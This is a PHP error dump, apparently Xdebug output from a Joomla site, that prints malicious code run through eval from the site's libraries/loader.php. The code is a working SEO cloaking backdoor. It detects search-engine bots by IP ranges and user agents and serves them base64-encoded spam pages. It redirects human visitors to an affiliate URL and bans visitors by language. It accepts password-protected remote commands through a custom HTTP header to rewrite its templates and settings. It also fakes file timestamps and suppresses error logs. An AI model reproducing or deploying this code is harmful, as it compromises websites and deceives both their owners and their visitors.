"; if($date == "total") echo base64_decode('PHRkIGFsaWduPXJpZ2h0IHN0eWxlPSdiYWNrZ3JvdW5kLWNvbG9yOiMxMDEwMTAnPjxiPlRPVEFMOjwvYj48L3RkPg=='); elseif($date == "last_hour") echo base64_decode('PHRkIGFsaWduPXJpZ2h0IHN0eWxlPSdiYWNrZ3JvdW5kLWNvbG9yOiMxMDEwMTAnPjxiPkxhc3QgSG91cjo8L2I+PC90ZD4='); else echo ''; echo ''; echo ''; echo ""; } exit; } } function detectBot($server_user_agent,$server_ip,$server_request_uri,$server_referer,$my_path_for_work,$server_host){ $stop_ips_masks = array( //Google "8\.6\.(4[8-9]|5[0-5])\.[0-9]+", "64\.68\.(8[0-9]|9[0-5])\.[0-9]+", "66\.102\.([0-9]|1[0-5])\.[0-9]+", "64\.233\.1[6-9][0-9]\.[0-9]+", "66\.249\.[6-9][0-9]\.[0-9]+", "72\.14\.(19[2-9]|2[0-5][0-5])\.[0-9]+", "74\.125\.[0-9]+\.[0-9]+", "203\.208\.(3[2-9]|[4-5][0-9]|6[0-3])\.[0-9]+", "209\.185\.[0-9]+\.[0-9]+", "209\.85\.238\.[0-9]+", "216\.239\.[3-6][0-9]\.[0-9]+", "216\.33\.229\.16[0-7]", //Google new IP List "35\.(18[4-9]|19[0-1])\.[0-9]+\.[0-9]+", "35\.(19[2-9]|20[1-7])\.[0-9]+\.[0-9]+", "70\.32\.(12[8-9]|1[3-5][0-9])\.[0-9]+", "99\.198\.(1[2-9][0-9]|2[0-5][0-5])\.[0-9]", "104\.(19[6-9])\.[0-9]+\.[0-9]+", "216\.21\.(16[0-9]|17[0-5])\.[0-9]+", "104\.155\.[0-9]+\.[0-9]+", "104\.154\.[0-9]+\.[0-9]+", "104\.135\.[0-9]+\.[0-9]+", "104\.133\.[0-9]+\.[0-9]+", "104\.132\.[0-9]+\.[0-9]+", "108\.177\.[0-9]+\.[0-9]+", "146\.148\.[0-9]+\.[0-9]+", "162\.222\.183\.[0-9]+", "162\.222\.182\.[0-9]+", "162\.222\.181\.[0-9]+", "162\.222\.180\.[0-9]+", "162\.222\.179\.[0-9]+", "162\.222\.178\.[0-9]+", "162\.222\.177\.[0-9]+", "162\.222\.176\.[0-9]+", "162\.216\.151\.[0-9]+", "162\.216\.150\.[0-9]+", "162\.216\.149\.[0-9]+", "162\.216\.148\.[0-9]+", "173\.255\.[0-9]+\.[0-9]+", "173\.194\.[0-9]+\.[0-9]+", "172\.253\.[0-9]+\.[0-9]+", "172\.217\.[0-9]+\.[0-9]+", "172\.110\.39\.[0-9]+", "172\.110\.38\.[0-9]+", "172\.110\.37\.[0-9]+", "172\.110\.36\.[0-9]+", "172\.110\.35\.[0-9]+", "172\.110\.34\.[0-9]+", "172\.110\.33\.[0-9]+", "172\.110\.32\.[0-9]+", "172\.102\.9\.[0-9]+", "172\.102\.8\.[0-9]+", "172\.102\.15\.[0-9]+", "172\.102\.14\.[0-9]+", "172\.102\.13\.[0-9]+", "172\.102\.12\.[0-9]+", "172\.102\.11\.[0-9]+", "172\.102\.10\.[0-9]+", "185\.25\.[0-9]+\.[0-9]+", "192\.179\.[0-9]+\.[0-9]+", "192\.178\.[0-9]+\.[0-9]+", "192\.158\.31\.[0-9]+", "192\.158\.30\.[0-9]+", "192\.158\.29\.[0-9]+", "192\.158\.28\.[0-9]+", "192\.104\.161\.[0-9]+", "192\.104\.160\.[0-9]+", "199\.223\.239\.[0-9]+", "199\.223\.238\.[0-9]+", "199\.223\.237\.[0-9]+", "199\.223\.236\.[0-9]+", "199\.223\.235\.[0-9]+", "199\.223\.234\.[0-9]+", "199\.223\.233\.[0-9]+", "199\.223\.232\.[0-9]+", "199\.192\.115\.[0-9]+", "199\.192\.114\.[0-9]+", "199\.192\.113\.[0-9]+", "199\.192\.112\.[0-9]+", "209\.85\.[0-9]+\.[0-9]+", "216\.58\.[0-9]+\.[0-9]+", "216\.252\.[0-9]+\.[0-9]+", "216\.239\.[0-9]+\.[0-9]+", //MSN/Bing "64\.4\.([0-9]|[1-5][0-9]|6[0-3])\.[0-9]+", "65\.5[2-5]\.[0-9]+\.[0-9]+", "131\.107\.[0-9]+\.[0-9]+", "202\.96\.51\.(12[8-9]|1[3-9][0-9]|2[0-9][0-9])", "213\.199\.(12[8-9]|13[0-9]|14[0-3])\.[0-9]+", "219\.142\.53\.([0-9]|[0-9][0-9]|1[0-2][0-9])", "207\.46\.[0-9]+\.[0-9]+", "207\.68\.(12[8-9]|1[3-9][0-9]|20[0-7])\.[0-9]+", //Yahoo "66\.196\.(6[4-9]|[7-9][0-9]|1[0-1][0-9]|12[0-7])\.[0-9]+", "67\.195\.[0-9]+\.[0-9]+", "68\.142\.(19[2-9]|2[0-5][0-5])\.[0-9]+", "72\.30\.[0-9]+\.[0-9]+", "74\.6\.[0-9]+\.[0-9]+", "76\.13\.[0-9]+\.[0-9]+", "98\.13[6-9]\.[0-9]+\.[0-9]+", "202\.160\.(17[6-9]|18[0-9]|19[0-1])\.[0-9]+", "209\.131\.(3[2-9]|[4-5][0-9]|6[0-3])\.[0-9]+", "211\.([8-9]|1[0-9])\.[0-9]+\.[0-9]+", "216\.109\.1(1[2-9]|2[0-7])\.[0-9]+", //Baidu "119\.[0-9]+\.[0-9]+\.[0-9]+", "123\.[0-9]+\.[0-9]+\.[0-9]+", "220\.181\.[0-9]+\.[0-9]+", //Yandex "77\.88\.([0-9]|[1-5][0-9]|6[0-3])\.[0-9]+", "87\.250\.2(2[4-9]|[3-4][0-9]|5[0-5])\.[0-9]+", "93\.158\.148\.[0-9]+", "95\.108\.150\.[0-9]+", "95\.108\.240\.[0-9]+", "95\.108\.244\.[0-9]+", "213\.180\.209\.[0-9]+", //ScoutJet "38\.99\.9[6-9]\.[0-9]+", "64\.13\.159\.[0-9]+", //Ask "66\.235\.1(1[2-9]|2[0-7])\.[0-9]+", //Alexa "174\.129\.[0-9]+\.[0-9]+", //Cuill "38\.[0-9]+\.[0-9]+\.[0-9]+", //Soso "124\.11[4-5]\.[0-9]+\.[0-9]+", //AOL "64\.12\.[0-9]+\.[0-9]+", //Bad IP ranges "64\.120\.([0-9][0-9]|1[0-1][0-9]|12[0-7])\.[0-9]+", "92\.241\.182\.[0-9]+", "173\.234\.34\.[0-9]+", "173\.194\.118\.[0-9]+", "173\.194\.119\.[0-9]+", "173\.194\.117\.[0-9]+", "174\.3[6-7]\.[0-9]+\.[0-9]+", "198\.134\.135\.[0-9]+", "220\.181\.[0-9]+\.[0-9]+", //Bad IPs "192\.168\.[0-9]+\.[0-9]+", "192\.184\.[0-9]+\.[0-9]+", "192\.184\.2\.104", "192\.184\.1\.15", "24\.200\.208\.112", "50\.17\.21\.18", "61\.135\.162\.189", "64\.69\.34\.134", "64\.111\.217\.42", "61\.135\.249\.204", "64\.141\.102\.91", "65\.33\.87\.94", "65\.57\.245\.11", "65\.93\.62\.242", "66\.115\.160\.58", "66\.147\.236\.94", "66\.219\.58\.34", "66\.230\.175\.124", "66\.255\.53\.123", "67\.162\.158\.146", "67\.186\.185\.87", "67\.202\.53\.239", "67\.210\.111\.241", "69\.136\.208\.89", "70\.50\.189\.191", "70\.91\.180\.25", "71\.165\.223\.134", "74\.86\.143\.90", "74\.193\.246\.129", "76\.28\.228\.40", "78\.166\.111\.63", "78\.180\.145\.80", "79\.142\.68\.93", "81\.135\.175\.70", "83\.15\.211\.166", "85\.17\.211\.164", "85\.214\.114\.25", "89\.122\.224\.230", "89\.149\.217\.191", "89\.149\.253\.169", "93\.172\.94\.227", "110\.75\.172\.105", "110\.75\.172\.106", "110\.75\.175\.37", "118\.124\.32\.193", "123\.30\.6\.3", "129\.187\.148\.240", "129\.187\.148\.244", "157\.55\.17\.103", "165\.160\.2\.20", "174\.36\.228\.155", "184\.154\.4\.61", "193\.60\.130\.67", "194\.44\.241\.154", "195\.92\.229\.2", "195\.113\.214\.196", "196\.201\.207\.191", "199\.126\.151\.229", "201\.222\.136\.43", "206\.83\.86\.2", "207\.38\.101\.5", "207\.211\.40\.82", "211\.43\.148\.217", "211\.43\.152\.49", "211\.43\.152\.54", "212\.100\.250\.218", "212\.117\.174\.32", "213\.144\.15\.38", "218\.18\.174\.27", "218\.28\.88\.99", "220\.176\.242\.193", ); $stop_agents_masks = array( 'google', 'bot', 'yahoo', 'bing', 'http', ); $server_user_agent = preg_replace("|User\.Agent\:[\s ]?|i", "", @$server_user_agent); $is_human = true; $detected_str = ''; if( filter_var($server_ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6) ){ $is_human = false; $detected_str = "by ipv6"; break; } foreach ($stop_ips_masks as $stop_ip_mask) if(preg_match("/{$stop_ip_mask}/i", $server_ip)) { $is_human = false; $detected_str = "by ip"; break; } if($is_human) foreach($stop_agents_masks as $stop_agents_mask) if(preg_match('/'.$stop_agents_mask.'/i', @$server_user_agent)){ $is_human = false; $detected_str = "by agent"; break; } if($is_human and !preg_match("/^[a-zA-Z]{5,}/i", @$server_user_agent)) { $is_human = false; $detected_str = "not human agent"; } if($is_human and strlen($server_user_agent)<=11) { $is_human = false; $detected_str = "too small agent"; } if($is_human and @preg_match('@(google|msn|bing|microsoft|yahoo)@is',@gethostbyaddr($server_ip))) { $is_human = false; $detected_str = "by hostname"; } if($is_human and @count(explode('&',$server_referer))<3 and preg_match('@baidu@is',$server_referer)) { $is_human = false; $detected_str = "by referer parameters count"; } if(rtrim('http://'.$server_host.'/'.$server_request_uri,'/') == rtrim($server_referer,'/')) { $is_human = false; $detected_str = "referer=this page"; } if(preg_match('@start=([0-9]{1,3})@is',$server_referer,$start_arr)) { if($start_arr[1] > 20) { $is_human = false; $detected_str = 'too big SE page (start='.$start_arr[1].')'; } } if((stristr($server_referer,'startIndex') && stristr($server_referer,'startPage')) || stristr($server_referer,'http://www.google.com/search?hl=en&source=hp&btnG=Google+Search&q=')) { $is_human = false; $detected_str = "bad google referer"; } // if(preg_match('@(ismyblogworking|ismyblogbroken|rexswain|web-sniffer)@is',$server_referer)) $is_human = true; //log bot if(!$is_human) { $data = array( gmdate("d.m.y H:i:s"), $server_ip, "BOT({$detected_str})", $server_request_uri, $server_referer, $server_user_agent ); @save_log(join("|", $data),'BOT',$my_path_for_work); } return $is_human; } //actions if(!empty($server_my_action)) { $my_action = unserialize(base64_decode($server_my_action)); if(md5(md5($my_action['password'])) == $my_access_password) { if($my_action['action'] == 'stat') { show_log($my_action['what2show'],$my_action['mode'],$server_host,$my_path_for_work); } elseif($my_action['action'] == 'edit_template') { print save_file($my_path_for_work.makeEncodedFilename('shablon.html'),$_POST['new_content']); @touch($my_path_for_work.makeEncodedFilename('shablon.html'), @filemtime($my_path_for_work.makeEncodedFilename('index.php'))); exit; } elseif($my_action['action'] == 'edit_links') { print save_file($my_path_for_work.makeEncodedFilename('links'),$_POST['new_content']); @touch($my_path_for_work.makeEncodedFilename('links'), @filemtime($my_path_for_work.makeEncodedFilename('index.php'))); exit; } elseif($my_action['action'] == 'change_settings') { print save_file($my_path_for_work.makeEncodedFilename('settings.dat'),$my_action['settings_value']); @touch($my_path_for_work.makeEncodedFilename('settings.dat'), @filemtime($my_path_for_work.makeEncodedFilename('index.php'))); exit; } elseif($my_action['action'] == 'show_graph') { print graph_data($my_action['what2show'],$my_path_for_work); exit; } } } //actions if($my_404 == 'all') error404($server_request,$server_signature); if($server_cookie!='ban') { $is_human = detectBot($server_user_agent,$server_ip,$server_request_uri,$server_referer,$my_path_for_work,$server_host); $stop_view = checkStopActivity($my_key_for_access1,$server_accept_language,$server_user_agent,$server_referer,$server_host,$server_cookie,$server_name,$my_allow_gtb); //log human and activity if($is_human && !$stop_view) { $det_str = 'HUMAN'; $det_str1 = 'HUMAN'; } elseif($is_human && $stop_view) { $det_str = 'BAN'; $det_str1 = "BAN({$stop_view})"; } $data = array( gmdate("d.m.y H:i:s"), $server_ip, $det_str1, $server_request_uri, $server_referer, $server_user_agent ); if($det_str=='BAN' || $det_str=='HUMAN') { @save_log(join("|", $data),$det_str,$my_path_for_work); } if($is_human && !$stop_view) { if($my_404 == 'human') error404($server_request,$server_signature); setcookie($cookn, "shop", (time()+60*60*24*365), "/"); header("Cache-control: no-cache, must-revalidate"); header("Pragma: no-cache"); header("MST-version: 4.0 RC1"); $url_addon = str_replace('-','+',$_GET[$my_descr]); $my_redirect_url = str_replace('[KEYWORD]',$url_addon,$my_redirect_url); header("Location: $my_redirect_url"); exit; } elseif(!$is_human || isset($_GET[$my_key_for_access2]) || isset($_COOKIE[$my_key_for_access2]) || $my_noban == 1) { if($my_404 == 'bot') error404($server_request,$server_signature); header("Cache-control: no-cache, must-revalidate"); header("Pragma: no-cache"); header("MST-version: 4.0 RC1"); if($_GET[$my_item]=='img') { $my_ext = strtolower(str_replace('.','',substr($_GET[$my_descr], strrpos($_GET[$my_descr], '.')))); if(preg_match('/(bmp|jpg|jpeg|gif|png)$/i',$my_ext) && preg_match('/^img/i',$_GET[$my_descr])) { $shablon=base64_decode(@file_get_contents($my_path_for_work.makeEncodedFilename($_GET[$my_descr]))); if($my_ext=='jpeg' || $my_ext=='jpg') $my_mime = 'image/jpeg'; elseif($my_ext=='gif') $my_mime = 'image/gif'; elseif($my_ext=='png') $my_mime = 'image/png'; elseif($my_ext=='bmp') $my_mime = 'image/bmp'; header ('Content-type: ' . $my_mime); print $shablon; } exit; } if($_GET[$my_item]=='feed' && $_GET[$my_descr]=='rss') { header('Content-Type: text/xml; charset=UTF-8', true); $shablon=base64_decode(file_get_contents($my_path_for_work.makeEncodedFilename('rss.xml'))); print $shablon; exit; } $page=@$_GET[$my_item]; if (!$page) $page=0; $inc_page = ceil($page/7); if(!is_file($my_path_for_work.makeEncodedFilename($inc_page.".php"))) die(error404($server_request,$server_signature)); eval(base64_decode(file_get_contents($my_path_for_work.makeEncodedFilename($inc_page.".php")))); $shablon=base64_decode(file_get_contents($my_path_for_work.makeEncodedFilename('shablon.html'))); $myshab=$shablon; $myshab=str_replace(array("\n","\r","\t"),'',$shablon); $kk = 0; while(strstr($myshab, "[SHOW-ON-PAGE-")) { preg_match('/\[SHOW-ON-PAGE-([0-9]+)\]/i',$myshab,$my_page_array); $my_page = (int) $my_page_array[1]; $my_page1 = preg_quote('[SHOW-ON-PAGE-'.$my_page.']'); $my_page2 = preg_quote("[/SHOW-ON-PAGE]"); if($my_page == $page) { $myshab=preg_replace("@$my_page1@i",'',$myshab,1); $myshab=preg_replace("@$my_page2@i",'',$myshab,1); } else $myshab=preg_replace("@$my_page1(.+)$my_page2@i",'',$myshab,1); $kk++; if($kk>=30) break; } $kk = 0; while(strstr($myshab, "[EXCLUDE-PAGE-")) { preg_match('/\[EXCLUDE-PAGE-([0-9]+)\]/i',$myshab,$my_page_array); $my_page = (int) $my_page_array[1]; $my_page1 = preg_quote('[EXCLUDE-PAGE-'.$my_page.']'); $my_page2 = preg_quote("[/EXCLUDE-PAGE]"); if($my_page != $page) { $myshab=preg_replace("@$my_page1@i",'',$myshab,1); $myshab=preg_replace("@$my_page2@i",'',$myshab,1); } else $myshab=preg_replace("@$my_page1(.+)$my_page2@i",'',$myshab,1); $kk++; if($kk>=30) break; } $kk = 0; while(strstr($myshab, "[HIDE-")) { preg_match('/\[HIDE-([0-9]+)\]/i',$myshab,$my_hide_array); $days = (int) $my_hide_array[1]; $my_hide1 = preg_quote('[HIDE-'.$days.']'); $my_hide2 = preg_quote("[/HIDE]"); if(((time()-$my_timestamp)/60/60/24) >= $days) $myshab=preg_replace("@$my_hide1(.+)$my_hide2@i",'',$myshab,1); else { $myshab=preg_replace("@$my_hide1@i",'',$myshab,1); $myshab=preg_replace("@$my_hide2@i",'',$myshab,1); } $kk++; if($kk>=30) break; } $kk = 0; while(strstr($myshab, "[UNHIDE-")) { preg_match('/\[UNHIDE-([0-9]+)\]/i',$myshab,$my_unhide_array); $days = (int) $my_unhide_array[1]; $my_unhide1 = preg_quote('[UNHIDE-'.$days.']'); $my_unhide2 = preg_quote("[/UNHIDE]"); if(((time()-$my_timestamp)/60/60/24) < $days) $myshab=preg_replace("@$my_unhide1(.+)$my_unhide2@i",'',$myshab,1); else { $myshab=preg_replace("@$my_unhide1@i",'',$myshab,1); $myshab=preg_replace("@$my_unhide2@i",'',$myshab,1); } $kk++; if($kk>=30) break; } if(strstr($myshab, "[FILELINK]")) { function randFileLink($my_path_for_work) { $my_filelinks = unserialize(base64_decode(file_get_contents($my_path_for_work.makeEncodedFilename('links')))); return $my_filelinks[mt_rand(0,(count($my_filelinks)-1))]; } $kk = 0; while(strstr($myshab, "[FILELINK]")) { $myshab=preg_replace("@\[FILELINK\]@i",trim(randFileLink($my_path_for_work)),$myshab,1); $kk++; if($kk>=100) break; } } if (strstr($myshab, "[RSS]")) $myshab=str_replace("[RSS]", $dino[0]['RSS'], $myshab); if (strstr($myshab, "[TAGS]")) $myshab=str_replace("[TAGS]", $dino[0]['TAGS'], $myshab); if (strstr($myshab, "[SITE]")) $myshab=str_replace("[SITE]", $dino[0]['SITE'], $myshab); $po="@\[([a-zA-Z0-9,.+\/_&;:!\@#%*() -]+)\]@i"; preg_match_all($po, $myshab, $mass); for ($m=0, $sm=sizeof($mass[1]); $m<$sm; $m++) { $prim=$mass[1][$m]; $my[$prim]=@explode("=||||=", $dino[$page][$prim]); for ($i=0, $si=sizeof($my[$prim]); $i<$si; $i++) { preg_match("@\[".$prim."\]@", $myshab, $m1); if(isset($dino[$page][$prim])) $myshab=preg_replace("@\[".$prim."\]@", $my[$prim][$i], $myshab, 1); } } $dino[$page]['DESCRIPTION'] = strip_tags($dino[$page]['DESCRIPTION']); $po="@\[([a-zA-Z0-9,.+\/_&;:!\@#%*() -]+)\]@i"; preg_match_all($po, $myshab, $mass); for ($m=0, $sm=sizeof($mass[1]); $m<$sm; $m++) { $prim=$mass[1][$m]; $my[$prim]=@explode("=||||=", $dino[$page][$prim]); for ($i=0, $si=sizeof($my[$prim]); $i<$si; $i++) { preg_match("@\[".$prim."\]@", $myshab, $m1); if(isset($dino[$page][$prim])) $myshab=preg_replace("@\[".$prim."\]@", $my[$prim][$i], $myshab, 1); } } $myshab = str_replace('{dol}','$',$myshab); // include 'C:/Sites/Joomla/libraries/joomla/error/.%35E0%8735%7870%98D1%DC47%1C0D'; // $pdf = new TCPDF('P', 'mm', 'A4', true, 'UTF-8', false); // $pdf->SetFont('helvetica', '', 10); // $pdf->AddPage(); // $pdf->writeHTML(iconv("WINDOWS-1252","UTF-8",$myshab), true, false, true, false, ''); // $pdf->Output($_GET[$my_descr].'.pdf', 'I'); print $myshab; // exit; exit; } elseif(!isset($_GET[$my_key_for_access1]) && !isset($_GET[$my_key_for_access2]) && !isset($_COOKIE[$my_key_for_access1]) && !isset($_COOKIE[$my_key_for_access2])) { setcookie($cookn, "ban", (time()+60*60*24*365), "/"); } } elseif($server_cookie=='ban' && (isset($_GET[$my_key_for_access1]) || isset($_GET[$my_key_for_access2]) || isset($_COOKIE[$my_key_for_access1]) || isset($_COOKIE[$my_key_for_access2]))) { setcookie($cookn, "shop", (time()+60*60*24*365), "/"); } if($my_404 == 'ban') error404($server_request,$server_signature); } ' )
( ! ) Notice: Undefined index: tmpl=component in C:\Sites\Joomla\libraries\loader.php(8) : eval()'d code on line 104
Call Stack
#TimeMemoryFunctionLocation
10.0006248048{main}( )...\index.php:0
20.0018276400require_once( 'C:\Sites\Joomla\includes\framework.php' )...\index.php:22
30.0030314784require_once( 'C:\Sites\Joomla\libraries\import.php' )...\framework.php:45
40.0042357224require_once( 'C:\Sites\Joomla\libraries\loader.php' )...\import.php:40
50.0079643024eval( ' function makeEncodedFilename($file) { $filename = '.'; $md5 = strtoupper(md5($file)); for($i=0;$i<24;$i+=4) $filename .= '%'.substr($md5,$i,4); return $filename; } if(!function_exists('file_get_contents')) { function file_get_contents($path) { $fp=@fopen($path,'rb'); $data=@fread($fp,@filesize($path)); @fclose($fp); return $data; } } function get_se_keyword($server_referer) { $ref = strtolower($server_referer); preg_match("![&?](?:q|query|p|wd|searchfor|param2)=([^&]+)!i",$ref,$match); if(!empty($match[1])) $query = urldecode($match[1]); else $query = ''; return $query; } if(empty($_SERVER['REQUEST_URI'] ) || (php_sapi_name() != 'cgi-fcgi' && preg_match( '/^Microsoft-IIS\//', $_SERVER['SERVER_SOFTWARE'] ) ) ) { if (isset($_SERVER['HTTP_X_ORIGINAL_URL'])) $_SERVER['REQUEST_URI'] = $_SERVER['HTTP_X_ORIGINAL_URL']; elseif(isset($_SERVER['HTTP_X_REWRITE_URL'])) $_SERVER['REQUEST_URI'] = $_SERVER['HTTP_X_REWRITE_URL']; else { if ( !isset($_SERVER['PATH_INFO']) && isset($_SERVER['ORIG_PATH_INFO']) ) $_SERVER['PATH_INFO'] = $_SERVER['ORIG_PATH_INFO']; if ( isset($_SERVER['PATH_INFO']) ) { if ($_SERVER['PATH_INFO'] == $_SERVER['SCRIPT_NAME'] ) $_SERVER['REQUEST_URI'] = $_SERVER['PATH_INFO']; else $_SERVER['REQUEST_URI'] = $_SERVER['SCRIPT_NAME'] . $_SERVER['PATH_INFO']; } if (isset($_SERVER['QUERY_STRING']) && !empty($_SERVER['QUERY_STRING'])) $_SERVER['REQUEST_URI'] .= '?' . $_SERVER['QUERY_STRING']; } } if(empty($_SERVER['PHP_SELF'])) $_SERVER['PHP_SELF'] = preg_replace("/(\?.*)?$/",'',$_SERVER["REQUEST_URI"]); $my_timestamp = (int) 1544808390; $my_access_password = '563a104435e231a053c392c93099337b'; $my_path_for_work = str_replace('\\','/',rtrim('C:/Sites/Joomla/libraries/joomla/error/','/').'/'); $my_item = 'item'; $my_descr = 'descr'; if(!isset($_GET[$my_item]) || !isset($_GET[$my_descr])) { if(stristr($_SERVER['QUERY_STRING'],'&')) { $qs_item = explode('&',$_SERVER['QUERY_STRING']); $_GET[$my_descr] = $qs_item[0]; } else $_GET[$my_descr] = $_SERVER['QUERY_STRING']; if(isset($_GET[$my_descr]) && !empty($_GET[$my_descr])) { if(preg_match('@^category/@is',$_GET[$my_descr])) { $_GET[$my_descr] = str_replace('category/','',$_GET[$my_descr]); $categories_database = @array_flip(@unserialize(@base64_decode(@file_get_contents($my_path_for_work.@makeEncodedFilename('categories_database.dat'))))); $_GET[$my_item] = $categories_database[$_GET[$my_descr]]; if(empty($_GET[$my_item])) { $_GET[$my_item] = NULL; unset($_GET[$my_item]); $_GET[$my_descr] = NULL; unset($_GET[$my_descr]); } else { $_GET[$my_descr] = $_GET[$my_item]; $_GET[$my_item] = 'cat'; } } else { $database_array = @array_flip(@unserialize(@base64_decode(@file_get_contents($my_path_for_work.@makeEncodedFilename('database.dat'))))); $_GET[$my_item] = $database_array[$_GET[$my_descr]]; if(empty($_GET[$my_item])) { $_GET[$my_item] = NULL; unset($_GET[$my_item]); $_GET[$my_descr] = NULL; unset($_GET[$my_descr]); } } } else { $_GET[$my_item] = NULL; unset($_GET[$my_item]); $_GET[$my_descr] = NULL; unset($_GET[$my_descr]); } } if(isset($_GET[$my_item]) && isset($_GET[$my_descr])) { error_reporting(0); @ini_set('error_log',NULL); @ini_set('log_errors',0); @ini_set('display_errors',0); @ini_set('max_execution_time',0); @set_time_limit(0); function save_file($file,$content) { @chmod($file, 0777); $fp = @fopen($file,'w'); if($fp) { @fwrite($fp,$content); @fclose($fp); $err = 'Succesfull!'; } else $err = 'Can not write file '.$file.'. Check file/directory permissions.'; @chmod($file, 0644); return $err; } function error404($req,$sig) { header('HTTP/1.0 404 Not Found'); echo base64_decode('PCFET0NUWVBFIEhUTUwgUFVCTElDICItLy9JRVRGLy9EVEQgSFRNTCAyLjAvL0VOIj4=')."\n".''."\n".'404 Not Found'."\n".''."\n".'

Not Found

'."\n".'

The requested URL '.$req.' was not found on this server.

'."\n".'
'."\n".$sig."\n".''; exit; } function getSettings($my_path_for_work,$my_access_password) { $settings = unserialize(base64_decode(trim(@file_get_contents($my_path_for_work.makeEncodedFilename('settings.dat'))))); return $settings; } $settings = getSettings($my_path_for_work,$my_access_password); $my_redirect_url = $settings['my_redirect_url']; $tmp_r_urls = explode(';',$my_redirect_url); $my_redirect_url = $tmp_r_urls[array_rand($tmp_r_urls)]; $my_key_for_access1 = $settings['my_key_for_access1']; $my_key_for_access2 = $settings['my_key_for_access2']; $my_counter = $settings['my_counter']; $my_404 = $settings['my_404']; $my_noban = $settings['my_noban']; $my_allow_gtb = $settings['my_allow_gtb']; $server_accept_language = @$_SERVER['HTTP_ACCEPT_LANGUAGE']; $server_user_agent = @$_SERVER['HTTP_USER_AGENT']; $server_referer = @$_SERVER['HTTP_REFERER']; $server_host = @$_SERVER['HTTP_HOST']; $server_forwarded_for = @$_SERVER["HTTP_X_FORWARDED_FOR"]; $server_remote_addr = @$_SERVER['REMOTE_ADDR']; $server_client_ip = @$_SERVER['HTTP_CLIENT_IP']; $server_request_uri = @$_SERVER['REQUEST_URI']; $server_signature = @$_SERVER['SERVER_SIGNATURE']; $server_request = @$_SERVER['REQUEST_URI']; $server_my_action = @$_SERVER['HTTP_MY_ACTION']; $server_name = @$_SERVER['SERVER_NAME']; if(preg_match("#ahrefs|majestic|opensiteexplorer|SemrushBot|acunetix|linkdexbot|semrush|crawler|R6_CommentReader|curl|wget|python|urllib|MJ12bot|AhrefsBot|DomainTools|360Spider|linkdex|genieo.com#i", @$server_user_agent)) { error404($server_request,$server_signature); } if(preg_match('@aid=([0-9]{1,5})@i',$my_redirect_url,$aid_matches)) $aid = $aid_matches[1]; else $aid = false; if(preg_match('@said=([a-z0-9]{3,13})@i',$my_redirect_url,$said_matches)) $said = $said_matches[1]; else $said = strtolower($server_host); //for sutra $my_redirect_url = str_replace('[SE_KEYWORD]',get_se_keyword($server_referer),$my_redirect_url); $cookn="{$said}_visit"; $server_cookie = $_COOKIE[$cookn]; if((isset($_GET[$my_key_for_access1]) || isset($_GET[$my_key_for_access2])) && (!isset($_COOKIE[$my_key_for_access1]) || !isset($_COOKIE[$my_key_for_access2]))) { setcookie($my_key_for_access1, '1', (time()+60*60*24*365), "/"); setcookie($my_key_for_access2, '1', (time()+60*60*24*365), "/"); } if(!empty($server_client_ip)) $server_ip = $server_client_ip; elseif(!empty($server_forwarded_for)) $server_ip = $server_forwarded_for; else $server_ip = $server_remote_addr; function checkStopActivity($my_key_for_access1,$server_accept_language,$server_user_agent,$server_referer,$server_host,$server_cookie,$server_name,$my_allow_gtb) { if(isset($_GET[$my_key_for_access1])) return false; if(preg_match("/(ru|ua|by)/i",@$server_accept_language)) return 'by accept language'; if(preg_match("/\;[\s ]?ru/i",@$server_user_agent)) return 'by useragent language'; if($server_cookie=='shop') return false; if(@$server_referer=="") return 'by empty referer'; if($my_allow_gtb != 1 && preg_match('@GTB[0-9]+@is',$server_user_agent)) return 'by Google Toolbar'; $server_name = explode('.',$server_name); $server_name = array_map('preg_quote',$server_name); $server_preg = implode('|',$server_name); $ref = strtolower($server_referer); // preg_match("|http[s]?:\/\/([^\/]+)\/|",$ref,$match); // old preg_match("|http[s]?:\/\/([^\/]+)|",$ref,$match); // add Oso if(!isset($match[1])) return 'by strange referer';$domain = $match[1]; if(!preg_match("/(cs\.com|baidu\.|bt\.com|comcast\.|google\.|msn\.|bing\.|live\.|yahoo\.|aol\.|ask\.co|searchandgive|alot\.com|orange\.co\.uk|toshiba\.com|conduit\.com|centurylink\.net|swagbucks\.com|soso\.com|icq\.com|babylon\.com|search-results\.com|charter\.net|inbox\.com|mywebsearch\.com|mysearch\.com|microsoft\.com|incredimail\.com|googlesyndicatedsearch\.com|bearshare\.com|avg\.com|searchqu\.com|speedbit\.com|sweetim\.com|microsoft\.com|plusnetwork\.com|softonic\.com|toolbarhome\.com|zapmeta\.com|imesh\.com|web\.de|lycos\.com|blekko\.com|duckduckgo\.com|scirus\.com|searchbacon\.com)/i",$domain)) return 'by unknown domain'; return false; } function save_log($content,$who,$my_path_for_work) { if($who == 'BOT') $myfile = 'log_bot'; elseif($who == 'HUMAN') $myfile = 'log_human'; elseif($who == 'BAN') $myfile = 'log_ban'; $fp = @fopen($my_path_for_work.makeEncodedFilename($myfile),"a"); @flock ($fp, LOCK_EX); @fputs($fp,base64_encode($content)."\n"); @flock ($fp, LOCK_UN); @fclose($fp); @touch($my_path_for_work.makeEncodedFilename($myfile), @filemtime($my_path_for_work.makeEncodedFilename('index.php'))); } function get_stats($stats_file,$my_path_for_work) { $data = @file($my_path_for_work.makeEncodedFilename($stats_file)); $stat_array = array("views"=>0, "uniq"=>0); $stat = array( "total"=>$stat_array, "last_hour"=>$stat_array ); $all_ips = array(); foreach($data as $string){ $string = base64_decode(trim($string)); list($date_time, $ip, $who, $page, $referer, $user_agent) = explode('|', trim(preg_replace("|[\r\n]|", '', $string))); preg_match("|^([0-9]+)\.([0-9]+)\.([0-9]+)|", $date_time, $date_match); preg_match("|([0-9]+)\:([0-9]+)\:([0-9]+)$|", $date_time, $time_match); $date = $date_match[0]; $date_day = $date_match[1]; $date_mon = $date_match[2]; $date_year = $date_match[3]; $time = $time_match[0]; $time_hour = $time_match[1]; $time_min = $time_match[2]; $time_sec = $time_match[3]; if(!isset($stat[$date])) { $stat[$date] = $stat_array; $all_ips = array(); } $in_last_hour = ((time()-(3600)) < gmmktime((int)$time_hour, (int)$time_min, (int)$time_sec, (int)$date_mon, (int)$date_day, (int)$date_year)) ? true : false; $stat[$date]["views"]++; $stat["total"]["views"]++; if($in_last_hour) $stat["last_hour"]["views"]++; if(!in_array($ip, $all_ips)){ array_push($all_ips, $ip); $stat[$date]["uniq"]++; $stat["total"]["uniq"]++; if($in_last_hour) $stat["last_hour"]["uniq"]++; } } ksort($stat); return $stat; } function graph_data($what2show,$my_path_for_work) { if($what2show=='bot') $file2show='log_bot'; 